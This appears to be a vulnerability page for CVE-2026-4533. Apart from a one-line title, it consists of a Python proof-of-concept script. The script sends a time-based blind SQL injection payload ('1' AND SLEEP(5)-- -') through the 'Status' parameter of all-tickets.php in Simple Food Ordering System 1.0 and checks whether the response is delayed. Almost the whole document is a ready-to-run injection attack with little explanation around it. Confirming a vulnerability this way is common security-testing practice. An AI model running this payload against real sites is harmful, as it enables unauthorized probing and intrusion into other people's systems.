CVE-2026-4533: Simple Food Ordering System SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ PoC for CVE-2026-4533 SQL Injection in Simple Food Ordering System 1.0 Vulnerable parameter: 'Status' in 'all-tickets.php' """ # The vulnerable endpoint full_url = f"{target_url}/all-tickets.php" # Testing payload for Time-Based Blind SQL Injection # If the database sleeps for 5 seconds, the vulnerability is confirmed. payload = { "Status": "1' AND SLEEP(5)-- -" } try: print(f"[+] Sending request to {full_url}...") response = requests.get(full_url, params=payload, timeout=10) # Check if the response time indicates a delay caused by SLEEP() if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload ineffective.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/simple-food-ordering" check_sqli_vulnerability(target)